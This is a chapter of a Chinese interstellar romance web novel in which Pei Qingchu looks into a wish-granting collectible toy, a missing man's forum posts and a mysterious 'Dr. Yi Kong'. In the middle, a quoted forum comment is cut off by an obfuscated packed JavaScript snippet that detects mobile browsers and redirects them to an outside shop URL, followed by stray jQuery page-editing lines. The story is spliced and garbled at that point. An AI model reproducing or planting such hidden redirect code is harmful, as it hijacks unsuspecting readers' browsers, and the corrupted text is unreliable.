66.这孩子到底随谁
作品:《结婚不如捡条狗[星际]》 “收到。”艳归的声音在耳麦中响起,伴随着键盘敲击声。
“我跟沉海已查询到李向暖的既往行踪,他提到的二手店,是中心区的一家奢侈品寄售平台,店铺跟不少D星名流有合作。”
这种行为是“慈善寄售”,在联邦并不少见,捐赠者可获得税收抵扣。
李向暖是网红,又是“贤良淑德omega”,亲自去店里捐赠,显足了诚意。
“店铺里确实有一款盲盒挂件,是‘命运泥巴’的限定隐藏款,市场价二十万左右。”
……好贵。
裴清初自己也有个“命运泥巴”挂件,是研究所实习生送的,普通隐藏款,价格数百块。
禾生玉等人说起这个玩偶的时候,确实提到过“实现愿望”……
取了艳归提前安装的监听设备,裴清初又绕回二层。
“你忙完了?刚才经理过来送了点心,说他们局部装修,可能会吵到大家——”
兰昭蘅在互动设施场地外,叼着饼干呜呜道:“快尝尝!味道还不错!”
裴清初接过,学着他的样子叼在嘴里,跟他一同倚在栏杆边。
场地中央,裴小小正操纵全息儿童机甲,跟人打架,以一当十,丝毫不落下风。
“你说这孩子到底随谁……”
兰昭蘅看着裴小小的英姿,感慨,“上次幼儿园写‘我的愿望’,你闺女写,自己要当联邦皇帝。”
裴清初眨了眨眼。
兰昭蘅又拿了根香草味的小棍状饼干,咔嚓咔嚓嚼碎:“你但凡有小小一半干劲,我也不至于天天为你担心。”
裴清初一时间不知道该怎么回应。
兰昭蘅说的,是他的基因治疗。
高端实验往往最采用朴素的技巧,兰昭蘅的治疗策略核心,就是让他在濒死的情况下突破极限、唤醒基因潜力——当然,全程有他这个专业医生保驾护航。
但裴清初的求生意志,并不强。
“……”
Omega一时沉默,他活下去的理由,是照顾裴小小长大,现在,又多了一个帮助阎越砾恢复人形。
但就像兰昭蘅说的一样,他自己也清楚——在他心中,这些是他的责任,却不是他的“欲望”。
像察觉到什么,大黑咬了咬他的裤腿,用力拱他的手,迫使他将微凉的掌心放在自己毛茸茸的脑袋上。
“我就直说了。这样下去,你的治疗效果不会好,”兰昭蘅叹了口气,盯着他,“你要学会发自内心地想要什么东西。”
“我给你办了张相亲网站的月卡,”他正色,“下周开始,你每周至少要跟一个alpha聊天!”
“……好。”
裴清初下意识揪住了狗头上的毛。
阎越砾猛然看向兰昭蘅,像忠臣看忽悠君王的乱臣贼子,恨不得咬他一口。
兰昭蘅对狗的愤怒熟视无睹,满意地捏了捏裴清初的脸,发现他光屏上的限定隐藏款盲盒:“欸!你在看这个?”
这是艳归发来的图像,李向暖提到的许愿盲盒。裴清初放大图片,让他看清:“你认识?”
“肯定啊,这个是超级隐藏款,大海景!每生产一万个才会有一个,之前拍出了天价呢!”
“物以稀为贵?”
裴清初有些不理解,“但厂家有模具在,随时可以再生产。”
“话是这么说啦,但这就是炒谷,”兰昭蘅摊了摊手,“这个ip做的确实不错,背景故事很丰满,而且还有点玄学成分……”
“比如说,有个绝症病人抽到它,许愿身体健康,”兰昭蘅想了想,道,“结果没多久就中了某医院的临床试验名额,真的治好了。”
“许愿团圆的,找回了遗失在帝国边境的孩子……还有,求事业的,统考都没考过,居然成功当上了议员助理!”
他说起八卦来如数家珍,还给裴清初找出了小众讨论组里的帖子:“不过这个隐藏款盲盒不多,据说只有第一个许愿的人才有用,多数人就是凑个热闹。”
裴清初的目光落在那些“幸运儿”的ip地址上。
“终端借我用一下。”
他略一思忖,拿出外接写入器,连上自己的终端,绕开网站限制,逐条翻看。
联邦幅员辽阔,星球星系间都有时差,星网的用户量也堪称恐怖。
也正因此,多数信息会随着算法被分配进入相应的“茧房”,推给相关的人,只有少数爆款热点能够打破圈层。
锁定了几个用户名,裴清初迟疑了一下,没交给副官团队排查。
他重新建立档案检索,发现——
这些中奖者,全部在中奖前一段时间,在自己的“茧房”内,发过求助信息。
“我稍后要去一趟研究所,”裴清初迅速清扫自己的行动痕迹,把终端还给兰昭蘅,“等会儿先送你和小小回家。”
“嗯?又加班啊?”兰昭蘅意外,“小小还想让你陪她去看电影呢。”
“抱歉。”裴清初顿了顿,“这次忙完,我一定好好补偿你们。”
“呸呸呸!别立这种flag!”
兰昭蘅睁大眼睛,又不放心道,“你真的只是去研究所?不是去做什么拯救世界之类的危险活动?”
裴清初顿了顿:“我为什么要拯救世界?”
废话!你又不是没干过!
兰昭蘅想起他的丰功伟绩:“行,你就这样毫无回报地为联邦付出吧,本保姆在家带孩子一点也不苦,也不累——”
“不是为了联邦。”
裴清初认真地看他:“是为了我自己。”
——
送兰昭蘅和小小回家,在兰昭蘅的监督下喝完了一整管补剂,裴清初才被允许放行。
临走前,小小拉着他,在他额头脸颊烙下亲亲,盖满“小小印章”,小手一挥,眼神却恋恋不舍地看他。
裴清初心底一软,也亲了亲她的小脸。
一旁假寐作“没眼看”的大黑见状,也蠢蠢欲动,刚扑上来就被挡开,裴清初已经掌握了训狗技巧,严肃斥责道:“不可以。”
大狗霎时灰溜溜地夹起尾巴。
等裴清初来到研究所,已经是一个小时之后。
他坐进工位,重新接入之前尚未分析完毕的通信模块。
之前,他就在注释里发现了一些陈析潢的“日志”,只不过相当零散,意义不明。
但现在……那些郁卒愤懑的言辞,似乎都指向李向暖。
李向暖看不起陈析潢,陈析潢又自尊心甚高,一开始,两人只是在镜头前假装“传统AO”,但很快,陈析潢发现完全无法跟李向暖正常沟通。
裴清初记下了那个时间点,不久后,陈析潢接触到了凯路简。
他借用研究所的平台查询——果然,陈析潢,也曾在自己的“茧房”内,发过求助。
[实在无法忍受自己的omega怎么办?]
[如题,贴主跟他是家里包办的婚姻,没什么感情,他家里有钱,我基因等级高。]
[我们小时候见过面,那个时候他虽然懦弱,但善良,现在完全变了一个人……]
下面评论的人没几个当回事,纷纷道:
[能找到omega你就偷着乐吧,我在保护协会等分配的号都排到六年之后了!]
[是啊,基因等级高不是应该的吗?基因等级低早就上战场
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954460|190819||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当炮灰了]
陈析潢没有再回复这个帖子,只后来在某技术交流论坛上,在新年许愿活动界面,留了一条言:
[如果世界上真的有公平,我愿意付出一切代价,让我的爱人能够回来。]
这是一个愿望。
裴清初的目光落在“公平”两个字上。
心中最坏的念头隐隐浮现,如果这件事真的和“那个人”有关、如果陈析潢参与的人体实验是那个人的研究内容——
他将光屏熄灭,靠在椅子上,疲惫地微微阖眼。
那这一切……都和他有关。
“叮铃!”
通讯消息提示音打破了死寂。
“裴工,我们整理好了李向暖的通话记录。”齐鸢汇报道,“已经发送到了您的加密邮箱。”
“好的,收到。”
“另外,您说的‘汉字’有关内容,我们也去请教了相关专家,尤其是母星历史和考古方面。”
齐鸢摇了摇头,“很遗憾,公开数据库、阎家藏书楼中,并没有相关材料支撑,那种纹饰是文字,皇室古籍库中可能有资料,但我们并无权限。”
“我知道了。”
挂断通讯,裴清初敲了敲桌面,重新打起精神。
以李向暖的性格,确实有可能哗众取宠、胡编乱造。
但他和珠可执的判断一致——
那么复杂系统的观念和语言,不是一人能臆想出来的。
李向暖借此抱紧了珠可执的大腿,对他来说是好事。如果陈析潢的失踪真跟“那个人”有关,李向暖作为“知情者”,可能会遇到生命危险。
裴清初点开齐鸢发送的资料。
李向暖的对话不多,基本都是跟父母、朋友,跟朋友绝交后,多是一些狐朋狗友。
副官团队标注出了可能有价值的信息,是李向暖跟陈析潢互殴后的对话,在几天内,他们多次提到了陈析潢的“合作对象”。
裴清初把那几段音频反复听了几遍——
不对劲。
从前后信息判断,这个“合作对象”是奕孔博士无误。
但,先前凯路简描述的奕孔博士,出手阔绰大方,行踪诡秘,极有威严;而对话中提到的奕孔博士,言行过于谦虚逢迎,善于利用漏洞、占小便宜。
他的“威严”,更多地来源于信息差,和刻意营造神秘感。
“……”
裴清初继续调出沉海分析的加密货币交易明细,这工作属实是大海捞针,沉海尽力也只锁定了数片区域。
但是,这几处都是基础平民区,紧挨着高新区工厂,实在不像奕孔博士可能栖身的地方。
通讯又响起,杜卜丸看了眼熟睡的巨狼,鬼鬼祟祟道:“裴工!裴工!你的样本!”
他头发乱成鸟窝,精神却十分亢奋,像个疯子,而不是昆仑学会的少年天才。
裴清初的目光落在他脸上,忽然冒出了一个诡异的想法。
“样本我今天晚一点给你,”他道,“你是什么学历?”
“啊?”
杜卜丸挠头,“怎么了裴工,你终于发现我有两个博士学位了吗?正准备拿第三个……不是,你别听他们胡说啊,我智商一百七呢!我真不是弱智!”
裴清初点头:“杜博士。”
“别别别,别这么叫,”杜卜丸打了个寒颤,“除、除了领证的时候,哪有博士管自己叫博士的?!听着多糟心!”
他三言两语表示了对读博生涯的痛恨之情,又痛斥昆仑学会必须在三个方向做到博士水平才能毕业的恶心规定,才怨鬼般挂断通讯。
裴清初若有所思,目光,落在了[奕孔博士]这个ID上。

